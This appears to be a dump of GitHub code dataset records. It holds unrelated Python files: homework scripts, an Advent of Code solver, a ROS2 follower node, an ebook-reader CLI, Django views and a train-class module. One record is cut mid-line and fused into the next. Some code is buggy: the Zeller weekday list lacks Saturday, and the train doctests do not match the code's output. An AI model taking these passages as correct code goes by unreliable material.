unittest.main()\n\n","repo_name":"imsardine/sikuli-monkey","sub_path":"example/chrome_pocket_share.sikuli/chrome_pocket_share.py","file_name":"chrome_pocket_share.py","file_ext":"py","file_size_in_byte":1971,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"3"} +{"seq_id":"32842751255","text":"goods = {\n 'Лампа': '12345',\n 'Стол': '23456',\n 'Диван': '34567',\n 'Стул': '45678',\n}\nstore = {\n '12345': [{'quantity': 27, 'price': 42},],\n '23456': [{'quantity': 22, 'price': 510},{'quantity': 32, 'price': 520},],\n '34567': [{'quantity': 2, 'price': 1200},{'quantity': 1, 'price': 1150},],\n '45678': [{'quantity': 50, 'price': 100},{'quantity': 12, 'price': 95},{'quantity': 43, 'price': 97},],\n}\n\nfor title, code in goods.items(): # возвращает пары (ключ, значение)\n total_quantity = 0\n total_cost = 0\n for goods in store[code]:\n total_quantity += goods['quantity']\n total_cost += goods['price']\n print(title, \" - \",total_quantity,\" шт, стоимость \",total_cost,\" руб\")\n","repo_name":"PolinaKozhurina/python","sub_path":"homework_11/04/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33498360746","text":"import os\nimport subprocess\n\n\nclass CmdUtils(object):\n @staticmethod\n def runcmd(cmdline, prompt = \"执行命令\"):\n print(prompt + \": \"+cmdline)\n result = os.popen(cmdline)\n print(\"输出: \" + result.read())\n return result.read()\n \n @staticmethod\n def runcmd_cwd(cmdline, cwd , prompt = \"执行命令\"):\n print(prompt + \": \"+cmdline)\n p = subprocess.Popen(cmdline, shell=True, cwd=cwd)\n retcode = p.wait()\n return retcode\n ","repo_name":"overturncat/reverse_android","sub_path":"自用小脚本/ReverseTools0.0.1/Utils/CmdUtils.py","file_name":"CmdUtils.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"3"} +{"seq_id":"12577716961","text":"# https://www.interviewbit.com/courses/programming/topics/two-pointers/problems/container-with-most-water/\n# \n\nclass Solution:\n # @param A : list of integers\n # @return an integer\n def maxArea(self, A):\n maxWater = 0\n \n i,j = 0, len(A)-1\n while i': [], 'v': [], '<': [], '^': [], '#': []}\r\nV = {'>': (0,1), 'v': (1,0), '<': (0,-1), '^': (-1,0)}\r\n\r\nfor r,row in enumerate(grid):\r\n for c,x in enumerate(row):\r\n if x in \"<>^v#\":\r\n B[x].append((r,c))\r\n\r\ndef pgrid(grid):\r\n for l in grid:\r\n print(''.join(l))\r\n\r\ndef move_bliz(B):\r\n for d, bl in B.items():\r\n if d == '#': continue\r\n dr,dc = V[d]\r\n for i in range(len(bl)):\r\n r,c = bl[i][0]-1,bl[i][1]-1\r\n bl[i] = (r+dr)%(HG-2)+1,(c+dc)%(WD-2)+1\r\n return B\r\n\r\ndef update(grid, B):\r\n for r in range(1,HG-1):\r\n for c in range(1,WD-1):\r\n for d, bl in B.items():\r\n if (r,c) in bl:\r\n grid[r][c] = d\r\n break\r\n else:\r\n grid[r][c] = '.'\r\n return grid\r\n\r\ndef get_moves(B, r, c):\r\n occ = B['>'] + B['<'] + B['v'] + B['^'] + B['#']\r\n moves = [] if (r,c) in occ else [(r,c)]\r\n for dr,dc in V.values():\r\n rr = r+dr\r\n cc = c+dc\r\n if 0 <= rr < HG and 0 <= cc < WD and (rr,cc) not in occ:\r\n moves.append((rr,cc))\r\n return moves\r\n\r\ndef solve(B):\r\n time = 0\r\n R = [(0,1), (HG-1,WD-2)]\r\n p1 = False\r\n\r\n for i in range(3):\r\n start, goal = R[i%2], R[(i+1)%2]\r\n reached = {start}\r\n found = False\r\n while not found:\r\n B = move_bliz(B)\r\n n_reached = set()\r\n for (r,c) in reached:\r\n if (r,c) == goal:\r\n if not p1:\r\n sol_a = time\r\n p1 = True\r\n found = True\r\n n_reached.update(get_moves(B, r, c))\r\n reached = n_reached\r\n time += 1\r\n\r\n return sol_a, time-1\r\n\r\nsol_a, sol_b = solve(B)\r\n\r\nt1_stop = perf_counter()\r\n\r\nprint('part a:', sol_a)\r\nprint('part b:', sol_b)\r\nprint('time:', t1_stop-t1_start)","repo_name":"kilzm/aoc","sub_path":"python22/24.py","file_name":"24.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37109414058","text":"#! /usr/bin/env python3\n# Name: zellers_congruence.py\n# Author: Earl John Gallarde\n# Version: 1.0\n# Description: Program that asks for a date in DD/MM/YYYY format\n# and print sout the day of the week for the date.\n\n\"\"\"\n There is a formula, called Zeller's Congruence, which calculates the day of the\n week from a given day, month and year. Zeller's congruence is defined as\n follows:\n\n z=(1+d+(m*2)\n +(3* (m+1)/5)\n +y + y/4 - y/100 + y/400) % 7\n where d, m and y are day, month, year and z are an integer (0 = Sun, 6 = Sat).\n\"\"\"\n\nimport sys\nimport string\n\ndateEntered = input(\"Enter a date in this format (DD/MM/YYYY): \")\n\n# Extract day, month, year from entered value\ndate_split = dateEntered.split(\"/\")\nprint(date_split)\nd = int(date_split[0])\nm = int(date_split[1])\ny = int(date_split[2])\nprint(\"day:\", d, \"month:\", m, \"year:\", y)\n\n# Compute if y is a leap year\nisLeapYear = y % 4 == 0 and (y % 100 != 0 or y % 400 == 0)\nprint(y, \"isLeapYear: \", isLeapYear)\n\n# Perform adjustments\nif m == 1 or m == 2:\n m += 12\n if isLeapYear:\n d -= 2\n else:\n d -= 1\n\n# Division\nprint(\"single / divide: \", 2 / 4) # evaluates to 0.5\nprint(\"double // divide: \", 2 // 4) # returns 0\n\n# Use Zeller's Congruence\nz = (1 + d + (m * 2) + (3 * (m + 1) // 5) + y + y // 4 - y // 100 + y // 400) % 7\n\n# Print the day\ndays = ['Sun', 'Mon', 'Tues', 'Wednes', 'Thurs', 'Fri']\nprint(days[z] + 'day')\n\n# Alternative way to print the day\n# if z == 0:\n# print(\"Sunday\")\n# elif z == 1:\n# print(\"Monday\")\n# elif z == 2:\n# print(\"Tuesday\")\n# elif z == 3:\n# print(\"Wednesday\")\n# elif z == 4:\n# print(\"Thursday\")\n# elif z == 5:\n# print(\"Friday\")\n# else:\n# print(\"Saturday\")\n\nsys.exit(0)\n","repo_name":"ejgallarde/python-exercises","sub_path":"src/3_flow_control/zellers_congruence.py","file_name":"zellers_congruence.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"4113898345","text":"import rclpy\nimport math\nimport threading\nimport time\n\nfrom rclpy.node import Node\nfrom rclpy.parameter import Parameter\nfrom rcl_interfaces.msg import SetParametersResult\nfrom rclpy.callback_groups import ReentrantCallbackGroup\nfrom rclpy.qos import DurabilityPolicy\nfrom rclpy.qos import HistoryPolicy\nfrom rclpy.qos import QoSProfile\n\nfrom std_msgs.msg import String\nfrom geometry_msgs.msg import Twist, Point\n\nfrom tf2_ros import TransformException\nfrom tf2_ros.buffer import Buffer\nfrom tf2_ros.transform_listener import TransformListener\nfrom tf2_ros import TransformBroadcaster\nfrom tf2_msgs.msg import TFMessage\n\nfrom ..include.tf2_utilities import *\n\n\n\nclass Tf2ListenerCopilot(Node):\n \n i = 0\n msg = String()\n\n def parameter_callback(self, params):\n for param in params:\n if param.name == 'start_follow' and param.type_ == Parameter.Type.BOOL:\n self.start_follow = param.value\n self.get_logger().info('start follow= {}'.format(bool(param.value)))\n elif param.name == 'tolerance' and param.type_ == Parameter.Type.DOUBLE:\n self.get_logger().info('tolerance= {}'.format(str(param.value)))\n self.tolerance = param.value\n return SetParametersResult(successful=True)\n\n\n def __init__(self):\n super().__init__('jetbot_follower')\n\n self.hz = 1\n period_fortimer = 1.0 / self.hz\n\n\n # How fast will we check the odometry values?\n self.rate = self.declare_parameter(\n 'rate', 20.0).get_parameter_value().double_value\n self.scale_foward_speed = self.declare_parameter(\n 'speed', 0.5).get_parameter_value().double_value\n self.tolerance = self.declare_parameter(\n 'tolerance', 0.01).get_parameter_value().double_value\n self.scale_rotation_rate = self.declare_parameter(\n 'scale_rotation_rate', 1.0).get_parameter_value().double_value\n self.start_follow = self.declare_parameter(\n 'start_follow', False).get_parameter_value().bool_value\n self.cross_ns = self.declare_parameter(\n 'cross_ns', True).get_parameter_value().bool_value\n self.global_ns = self.declare_parameter(\n 'global_ns', True).get_parameter_value().bool_value\n\n # Declare and acuqire 'target_frame' parameter\n self.from_frame = self.declare_parameter(\n 'from_frame', 'jetbot1/base_footprint').get_parameter_value().string_value\n self.from_namespace = get_tf2_namespace(self.from_frame)\n\n self.to_frame = self.declare_parameter(\n 'to_frame', 'GoPiGo3/base_footprint').get_parameter_value().string_value\n self.to_namespace = get_tf2_namespace(self.to_frame)\n\n # Add parameters callback \n self.add_on_set_parameters_callback(self.parameter_callback)\n\n self.get_logger().info('==========================================')\n self.get_logger().info('Leader ns: {}'.format(self.from_namespace))\n self.get_logger().info('Follower ns: {}'.format(self.to_namespace))\n self.get_logger().info('Lookup from frame: {}'.format(str(self.from_frame)))\n self.get_logger().info('Lookup to_frame: {}'.format(str(self.to_frame)))\n self.get_logger().info('Follow speed : {:.2f}'.format(self.scale_foward_speed))\n self.get_logger().info('Rotation rate : {:.2f}'.format(self.scale_rotation_rate))\n self.get_logger().info('stop follow tolerance: {:.2f}'.format(self.tolerance))\n self.get_logger().info('tf2 cross name space : {}'.format(self.cross_ns))\n self.get_logger().info('tf2 global broadcast : {}'.format(self.global_ns))\n self.get_logger().info('Start follow : {}'.format(self.start_follow))\n self.get_logger().info('==========================================')\n\n self.publisher = self.create_publisher(String, '/' + self.to_namespace + '/chatter', 10)\n self.cmd_vel = self.create_publisher(Twist, '/' + self.to_namespace + '/cmd_vel', 20)\n\n # Initialize the tf2 listener\n self.tf_buffer = Buffer()\n if not self.cross_ns:\n self.tf_listener = TransformListener(self.tf_buffer, self)\n else:\n # Lookup /tf from 2 different namespace\n self.tf_listener_from = NamespaceTransformListener(self.from_namespace, self.tf_buffer, self)\n self.tf_listener_to = NamespaceTransformListener(self.to_namespace, self.tf_buffer, self)\n\n self.thread = threading.Thread(target=self.thread_callback)\n self.thread.start()\n\n\n #\n # tf2_ros.transform_listener: TransformListener thread call_back\n #\n def thread_callback(self):\n self.get_logger().info('Thread callback : {}'.format(\"TF2 listener\") )\n\n # Get the starting position from the tf2 transform between the 2 robots base_link frames\n self.position = self.get_position()\n # self.get_logger().info(\"Init TF move=[{:.2f} : {:.2f} : {:.2f}]\".format(self.position.x, self.position.y, self.position.z))\n\n rate = self.create_rate(self.rate)\n while rclpy.utilities.ok():\n\n # Stop the robot by default\n move_cmd = Twist()\n\n if self.start_follow: \n # Get the current position from the tf2 transform between the odom and base frames\n self.position = self.get_position()\n self.get_logger().debug(\"Move={}\".format(str(self.position)))\n \n # Correct the estimated distance by the correction factor\n distance = self.scale_foward_speed * math.sqrt(\n math.pow(self.position.x, 2) +\n math.pow(self.position.y, 2))\n \n if distance > self.tolerance:\n move_cmd.linear.x = distance\n # Compput the rotate angle\n move_cmd.angular.z = self.scale_rotation_rate * math.atan2(\n self.position.y,\n self.position.x)\n\n\n self.get_logger().debug(\"Twist={}\".format(str(move_cmd)))\n self.get_logger().info(\"Move=[{:.2f} : {:.2f} : {:.2f}]\".format(self.position.x, self.position.y, self.position.z))\n\n self.cmd_vel.publish(move_cmd)\n # self.get_logger().info(\"move={}\".format(str(move_cmd)))\n\n else:\n # self.position = self.get_position()\n # self.get_logger().debug(\"Init postion={}\".format(str(self.position)))\n self.get_logger().debug(\"Init transformation=[{:.2f} : {:.2f} : {:.2f}]\".format(self.position.x, self.position.y, self.position.z))\n\n # self.cmd_vel.publish(move_cmd)\n rate.sleep()\n\n\n #\n # tf2_ros.buffer.lookup_transform()\n # Retrieve transform between two robot coordinate frames\n #\n def get_position(self):\n # Get the current transform between the odom and base frames\n try:\n t = self.tf_buffer.lookup_transform(\n self.to_frame,\n self.from_frame,\n rclpy.time.Time())\n self.get_logger().debug('get_position:{}'.format(t.transform.translation))\n # self.get_logger().info('get_position:{}'.format(t.transform.translation))\n except TransformException as ex:\n self.get_logger().info(f'TF2 transform exception {self.to_frame} to {self.from_frame}: {ex}')\n return Point()\n \n # return Point(t.transform.translation)\n p = Point()\n p.x = t.transform.translation.x\n p.y = t.transform.translation.y\n p.z = t.transform.translation.z\n return p\n\n\n\n\ndef main(args=None):\n rclpy.init(args=args)\n\n Tf2_listener_copilot_node = Tf2ListenerCopilot()\n\n try:\n rclpy.spin(Tf2_listener_copilot_node)\n except KeyboardInterrupt:\n print('\\ncontrol-c: Tf2_listener_copilot_node shutting down')\n finally:\n # Destroy the node explictly - don't depend on garbage collector\n Tf2_listener_copilot_node.destroy_node()\n rclpy.shutdown()\n\n\n\nif __name__ == '__main__':\n \n main()\n \n \n","repo_name":"Jen-Hung-Ho/ros2_jetbot_tools","sub_path":"jetbot_tools/script/tf2_listener_copilot.py","file_name":"tf2_listener_copilot.py","file_ext":"py","file_size_in_byte":8186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35163691496","text":"import ez_setup\nez_setup.use_setuptools()\n\nimport sys\nfrom setuptools import setup, find_packages\nfrom setuptools.command.test import test as TestCommand\nfrom txtemplates import version\n\n\nclass PyTest(TestCommand):\n user_options = [('pytest-args=', 'a', \"Arguments to pass to py.test\")]\n\n def initialize_options(self):\n TestCommand.initialize_options(self)\n self.pytest_args = []\n\n def finalize_options(self):\n TestCommand.finalize_options(self)\n self.test_args = []\n self.test_suite = True\n\n def run_tests(self):\n # import here, cause outside the eggs aren't loaded\n import pytest\n errno = pytest.main(self.pytest_args)\n sys.exit(errno)\n\nsetup(\n name='txtemplates',\n description='Templates to quickly create twisted servers',\n author='Martin C Drohmann',\n author_email='mcd@askthevotegoat.com',\n version=version.long(),\n install_requires=['twisted', 'pytest', 'pytest-twisted'],\n scripts=['scripts/make_new_server.py'],\n package_data={\n 'txtemplates.server_templates': [\n 'templates/*.jinja', 'templates/*/*.jinja'],\n },\n license='LICENSE',\n packages=find_packages(),\n cmdclass={'test': PyTest},\n )\n","repo_name":"mdrohmann/txtemplates","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13809659111","text":"import threading\n\n\nvalues = []\nlock = threading.Lock()\n\n\ndef incr(delta=1):\n value = 10\n with lock: # 在with块中拥有锁 离开with时候释放锁\n while value < 20:\n value += delta\n values.append(value)\n print(values)\n\n\ndef decr(delta=1):\n value = 10\n with lock: # 在with块中拥有锁 离开with时候释放锁\n while value:\n value -= delta\n values.append(value)\n print(values)\n\n\nt1 = threading.Thread(target=incr)\nt2 = threading.Thread(target=decr)\nt1.start()\nt2.start()\n\n\n","repo_name":"cjrzs/LoveYiNuo","sub_path":"并发编程/多线程/线程间同步/对临界区加锁.py","file_name":"对临界区加锁.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"36302301240","text":"import time\nfrom turtle import Screen\nfrom player import Player\nfrom car_manager import CarManager\nfrom scoreboard import Scoreboard\n\nscreen = Screen()\nscreen.setup(width=600, height=600)\nscreen.bgcolor(\"white\")\nscreen.title(\"Trang's Turtle Crossing Game\")\nscreen.tracer(0)\n\nplayer = Player()\ncar_manager = CarManager()\nscoreboard = Scoreboard()\n\nscreen.listen()\nscreen.onkey(player.go_up, \"Up\")\nscreen.onkey(player.go_down, \"Down\")\n\ngame_is_on = True\n\nwhile game_is_on:\n\n time.sleep(0.1)\n screen.update()\n car_manager.more()\n car_manager.move()\n\n scoreboard.update()\n\n # if collision with cars:\n for car in car_manager.all_cars:\n if car.distance(player) < 20:\n game_is_on = False\n scoreboard.game_over()\n\n # If go to top of the screen then level up\n elif player.reach_end():\n scoreboard.increase_level()\n player.refresh()\n car_manager.level_up()\n\n\n\n\n\n\n\n\n\nscreen.exitonclick()\n\n","repo_name":"trngdothuy/python-exercises","sub_path":"python/turtle-crossing-start/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12376416356","text":"import argparse\nimport os\nimport shutil\nimport sys\nimport textwrap\nfrom difflib import SequenceMatcher as SM\nfrom typing import List, Optional, Tuple\n\nfrom epy_reader import __version__\nfrom epy_reader.lib import coerce_to_int, is_url, truncate\nfrom epy_reader.models import LibraryItem\nfrom epy_reader.parser import parse_html\nfrom epy_reader.state import State\nfrom epy_reader.utils import get_ebook_obj\n\n\ndef cleanup_library(state: State) -> None:\n \"\"\"Cleanup non-existent file from library\"\"\"\n library_items = state.get_from_history()\n for item in library_items:\n if not os.path.isfile(item.filepath) and not is_url(item.filepath):\n state.delete_from_library(item.filepath)\n\n\ndef get_nth_file_from_library(state: State, n) -> Optional[LibraryItem]:\n library_items = state.get_from_history()\n try:\n return library_items[n - 1]\n except IndexError:\n return None\n\n\ndef get_matching_library_item(\n state: State, pattern: str, threshold: float = 0.5\n) -> Optional[LibraryItem]:\n matches: List[Tuple[LibraryItem, float]] = [] # [(library_item, match_value), ...]\n library_items = state.get_from_history()\n if not library_items:\n return None\n\n for item in library_items:\n tomatch = f\"{item.title} - {item.author}\" # item.filepath\n match_value = sum(\n [i.size for i in SM(None, tomatch.lower(), pattern.lower()).get_matching_blocks()]\n ) / float(len(pattern))\n matches.append(\n (\n item,\n match_value,\n )\n )\n\n sorted_matches = sorted(matches, key=lambda x: -x[1])\n first_match_item, first_match_value = sorted_matches[0]\n if first_match_item and first_match_value >= threshold:\n return first_match_item\n else:\n return None\n\n\ndef print_reading_history(state: State) -> None:\n termc, _ = shutil.get_terminal_size()\n library_items = state.get_from_history()\n if not library_items:\n print(\"No Reading History.\")\n return\n\n print(\"Reading History:\")\n dig = len(str(len(library_items) + 1))\n tcols = termc - dig - 2\n for n, item in enumerate(library_items):\n print(\n \"{} {}\".format(\n str(n + 1).rjust(dig),\n truncate(str(item), \"...\", tcols, tcols - 3),\n )\n )\n\n\ndef parse_cli_args() -> argparse.Namespace:\n prog = \"epy\"\n positional_arg_help_str = \"[PATH | # | PATTERN | URL]\"\n args_parser = argparse.ArgumentParser(\n prog=prog,\n usage=f\"%(prog)s [-h] [-r] [-d] [-v] {positional_arg_help_str}\",\n formatter_class=argparse.RawDescriptionHelpFormatter,\n description=\"Read ebook in terminal\",\n epilog=textwrap.dedent(\n f\"\"\"\\\n examples:\n {prog} /path/to/ebook read /path/to/ebook file\n {prog} 3 read #3 file from reading history\n {prog} count monte read file matching 'count monte'\n from reading history\n \"\"\"\n ),\n )\n args_parser.add_argument(\"-r\", \"--history\", action=\"store_true\", help=\"print reading history\")\n args_parser.add_argument(\"-d\", \"--dump\", action=\"store_true\", help=\"dump the content of ebook\")\n args_parser.add_argument(\n \"-v\",\n \"--version\",\n action=\"version\",\n version=f\"v{__version__}\",\n help=\"print version and exit\",\n )\n args_parser.add_argument(\n \"ebook\",\n action=\"store\",\n nargs=\"*\",\n metavar=positional_arg_help_str,\n help=\"ebook path, history number, pattern or URL\",\n )\n return args_parser.parse_args()\n\n\ndef find_file() -> Tuple[str, bool]:\n args = parse_cli_args()\n state = State()\n cleanup_library(state)\n\n if args.history:\n print_reading_history(state)\n sys.exit()\n\n if len(args.ebook) == 0:\n last_read = state.get_last_read()\n if last_read:\n return last_read, args.dump\n else:\n sys.exit(\"ERROR: Found no last read ebook file.\")\n\n elif len(args.ebook) == 1:\n nth = coerce_to_int(args.ebook[0])\n if nth is not None:\n file = get_nth_file_from_library(state, nth)\n if file:\n return file.filepath, args.dump\n else:\n print(f\"ERROR: #{nth} file not found.\")\n print_reading_history(state)\n sys.exit(1)\n elif is_url(args.ebook[0]):\n return args.ebook[0], args.dump\n elif os.path.isfile(args.ebook[0]):\n return args.ebook[0], args.dump\n\n pattern = \" \".join(args.ebook)\n match = get_matching_library_item(state, pattern)\n if match:\n return match.filepath, args.dump\n else:\n sys.exit(\"ERROR: Found no matching ebook from history.\")\n\n\ndef dump_ebook_content(filepath: str) -> None:\n ebook = get_ebook_obj(filepath)\n try:\n try:\n ebook.initialize()\n except Exception as e:\n sys.exit(\"ERROR: Badly-structured ebook.\\n\" + str(e))\n for i in ebook.contents:\n content = ebook.get_raw_text(i)\n src_lines = parse_html(content)\n assert isinstance(src_lines, tuple)\n # sys.stdout.reconfigure(encoding=\"utf-8\") # Python>=3.7\n for j in src_lines:\n sys.stdout.buffer.write((j + \"\\n\\n\").encode(\"utf-8\"))\n finally:\n ebook.cleanup()\n","repo_name":"wustho/epy","sub_path":"src/epy_reader/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":5439,"program_lang":"python","lang":"en","doc_type":"code","stars":830,"dataset":"github-code","pt":"3"} +{"seq_id":"39920663192","text":"from django.shortcuts import render,HttpResponse\nfrom django.core.paginator import Paginator\nfrom Article.models import *\n\ndef index(request):\n first_10 = Article.objects.order_by(\"-time\")[:10] #取前10条\n tui_7 = Article.objects.filter(tui=1).order_by(\"-time\")[:7] # 取推荐的前7条\n click_12 = Article.objects.order_by(\"-click\")[:12] #取点击最高的前12条\n return render(request, \"index.html\",locals())\n\ndef lists(request,id):\n id = int(id)\n page_number = request.GET.get(\"page\",1) #request.GET django接收get请求参数，get是类字典方法\n types = Type.objects.get(id=id)\n articles = types.article_set.order_by(\"-time\") #外键关系一查询多的查询方式\n p = Paginator(articles,6)\n page = p.page(int(page_number))\n return render(request,\"lists.html\",locals())\n\ndef article(request,id):\n id = int(id)\n article = Article.objects.get(id = id)\n return render(request,\"article.html\",locals())\n\ndef picture(request):\n return render(request,\"pictures.html\")\n\n# from Article.models import Article,Type\n# import datetime\n# def addArticle(request):\n# for i in range(200):\n# a = Article()\n# if i%4 == 1:\n# a.title = \"背影_%s\"%i\n# a.types = Type.objects.get(id = 1)\n# a.desctiption = \"这是一篇散文\"\n# a.content = \"这是一篇散文 这是一篇散文 这是一篇散文\\n\"*10\n# elif i % 4 == 2:\n# a.title = \"诛仙_%s\" % i\n# a.types = Type.objects.get(id=2)\n# a.desctiption = \"这是一篇小说\"\n# a.content = \"这是一篇小说 这是一篇小说 这是一篇小说\\n\" * 10\n# elif i%4 == 3:\n# a.title = \"python技术文章_%s\" % i\n# a.types = Type.objects.get(id=3)\n# a.desctiption = \"这是一篇技术文章\"\n# a.content = \"这是一篇技术文章 这是一篇技术文章 这是一篇技术文章\\n\" * 10\n# else:\n# a.title = \"日记_%s\" % i\n# a.types = Type.objects.get(id=4)\n# a.desctiption = \"这是一篇日记\"\n# a.content = \"这是一篇日记 这是一篇日记 这是一篇日记\\n\" * 10\n# a.time = datetime.datetime.now()\n# a.picture = \"images/QQ图片20190328211750.jpg\"\n# a.tui = 0\n# a.click = 0\n# a.save()\n# return HttpResponse(\"保存成功\")\n# Create your views here.\n\nfrom django.http import JsonResponse\ndef api(request):\n \"\"\"\n request={\n \"code\": \"formId\",\n \"msg\": {\n \"msgtype\": \"eapp\",\n \"eapp\": {\n \"img\": \"@mediaId\",\n \"title\": \"工单已回复\",\n \"content\": \"非常感谢\",\n \"link\": \"eapp://index/page?param1=1¶m2=2\"\n }\n }\n }\n response={\n \"errcode\": 0,\n \"errmsg\": \"ok\"\n }\n 查询每种类型文章个数的接口\n 以ge的形式提交文章的类型\n 返回给类型文章的个数\n \"\"\"\n respone={\n \"errorcode\":0,\n \"errormessage\":\"\",\n \"data\":\"\"\n }\n if request.method==\"GET\" and request.GET.get(\"get_count\"):\n id=int(request.GET.get(\"get_count\"))\n types=Type.objects.get(id=int(id))\n obj=len(types.article_set.all())\n respone[\"errormessage\"]=\"ok\"\n respone[\"data\"]={\n \"count\":obj,\n \"name\":types.name\n }\n\n return JsonResponse(respone)","repo_name":"hdqlife/ArticleBlog","sub_path":"Article/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72174572873","text":"from django.shortcuts import render\nfrom rest_framework import status\nfrom rest_framework.response import Response\n\nfrom ..serializers.profile import UserProfileSerializer\n\nfrom ..models.user import User\nfrom rest_framework import permissions\nfrom drf_yasg.utils import swagger_auto_schema\nfrom rest_framework.decorators import api_view, permission_classes\nfrom drf_yasg import openapi\n\n\n# http://${host}:8000/api/v1/profile/users : Return all the users in the system \n\n@ swagger_auto_schema(\n method='get',\n operation_description=\"Returns all the users in the system with their profile information\",\n operation_summary=\"Get all users in the system.\",\n tags=['profile'],\n responses={\n status.HTTP_200_OK: openapi.Response(\n description=\"Successfully retrieved the users.\",\n examples={\n \"application/json\": [{\n \"id\": 1,\n \"username\": \"pothepanda\",\n \"email\": \"po@jade.edu\",\n \"location\": \"China\",\n \"name\": \"Po\",\n \"surname\": \"Ping\",\n \"about\": \"\"\"The foretold Dragon Warrior of legend, a master of the Panda Style of Kung Fu, noodle lover and an art enthusiast.\"\"\",\n \"profile_path\": \"avatar/default.png\",\n \"is_level2\": False,\n \"followers\": 3,\n \"followings\": 2\n }]\n }\n )\n }\n)\n@api_view(['GET'])\n@permission_classes([permissions.AllowAny])\ndef users_api(request):\n if (request.method == \"GET\"):\n user = User.objects.all()\n serializer = UserProfileSerializer(user, many=True)\n return Response(serializer.data, status=status.HTTP_200_OK)\n else:\n return Response({\"detail\": \"Method \\\"{}\\\" not allowed.\".format(request.method)})\n","repo_name":"bounswe/bounswe2022group8","sub_path":"App/backend/api/views/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"27"} +{"seq_id":"21998261018","text":"from lokomotyvas import Lokomotyvas\nfrom vagonas import Vagonas\nimport json\nfrom json import dumps, loads, JSONEncoder, JSONDecoder\nimport codecs\nimport doctest\n\nclass Traukinys():\n\n def __init__(self, name):\n \"\"\"test init\n >>> a = Traukinys(\"Third Reich\")\n\n >>> print(a)\n Traukinys: Traukinys, visa masė: 140,\n traukinio galia: 500, visa krovinio mase 0\n lokomotyvų skaičius = 1, vagonų skaičius = 1\n\n >>> a.add_lok(\"Berlin \",100,500)\n lokomotyvas sekmingai pridetas\n\n >>> a.add_vag(350, 40,500)\n vagonas sekmingai pridetas\n\n >>> print(a)\n traukinys: Traukinys, Dabartine sastato mase: 140,\n galia: 500, bendra kroviniu mase 0\n lokomotyvu = 1, vagonu = 1\n\n >>> a.pakrauti_krovini(100)\n pavyko prideti krovini i vagons1 dar liko 400 vietos siame vagone\n\n \"\"\"\n self.nameTraukinys = name\n self.lokomotyvas = []\n self.vagonas = []\n self.kroviniuMase = 0\n self.tempGalia = 0\n self.visaMase = 0\n\n\n def jdefault(o):\n if isinstance(o, set):\n return list(o)\n return o.__dict__\n\n def add_lok(self, name, mase, didTemp):\n if didTemp >= mase:\n self.lokomotyvas.append(Lokomotyvas(name, mase, didTemp))\n self.tempGalia += didTemp\n self.visaMase += mase\n print(\"Lokomotyvas pridėtas\")\n else:\n return print(\"Lokomotyvo tempimo galia maženė už jo paties masę, lokomotyvas nepridėtas \")\n\n def add_vag(self, ID, mase, didMase):\n if self.tempGalia < self.visaMase + mase:\n return print(\"Vagonas neprikabintas, lokomotyvai nebegali daugiau patempti vagonų\")\n else:\n self.vagonas.append(Vagonas(mase, didMase, ID))\n self.visaMase += mase\n print(\"Vagonas prikabintas\")\n\n def set_train_stats(self, mase, krovMase, galia):\n self.kroviniuMase = krovMase\n self.tempGalia = galia\n self.visaMase = mase\n\n def get_train_galia(self):\n return print(\"Traukinio tempimo galia: %s\" % (self.tempGalia))\n\n def get_train_temp(self):\n return self.tempGalia\n\n def visa_mase(self):\n return self.visaMase\n\n def get_all_krov_mase(self):\n return self.kroviniuMase\n\n def get_lokomotyvas(self):\n return self.lokomotyvas\n\n def get_vagonas(self):\n return self.vagonas\n\n def get_train_name(self):\n return self.nameTraukinys\n\n def __str__(self):\n return \"\"\"Traukinys: %s, visa masė: %s,\n traukinio galia: %s, visa krovinio mase %s\n lokomotyvų skaičius = %s, vagonų skaičius = %s \"\"\" % (self.nameTraukinys,\n self.visaMase,\n self.tempGalia,\n self.kroviniuMase,\n len(self.lokomotyvas),\n len(self.vagonas))\n\n def __repr__(self):\n return \"<%s>\" % (self.nameTraukinys)\n\n def pakrauti_krovini(self, masKrov):\n if self.tempGalia < self.visaMase + masKrov:\n return print(\"krovinio masė viršija traukinio pajėgumus, krovinys nepridėtas\")\n else:\n for vagonas in self.vagonas:\n a = vagonas.addKrovinys(masKrov)\n if a == False:\n continue\n else:\n self.visaMase += masKrov\n self.kroviniuMase += masKrov\n if vagonas.getVagonasLaisvaMase() == 0:\n return print(\"Krovinys pridėtas, vagonas %s pilnas\" % (vagonas.getVagId()))\n else:\n return print(\"Krovinys pridėtas %s, laisvos vietos liko: %s \" % (vagonas.getVagId(),\n vagonas.getVagonasLaisvaMase()))\n return print(\"Krovinys nepridėtas, neužtenka vietos\")\n\n\ndef issaugoti(sarasas):\n with open('trauk_sąrašas.json', 'w') as fp:\n lok_listas = []\n for trauk in range(0, len(sarasas)):\n traukinys = sarasas[trauk-1]\n if(traukinys.lokomotyvas != 0):\n for i in range(0, len(traukinys.lokomotyvas)):\n lokomotyvai = {}\n lokomotyvai = {\n \"lokomotyvas\": traukinys.lokomotyvas[i].getLokName(),\n \"mase\": traukinys.lokomotyvas[i].getLokMase(),\n \"galia\": traukinys.lokomotyvas[i].getLokGalia()}\n 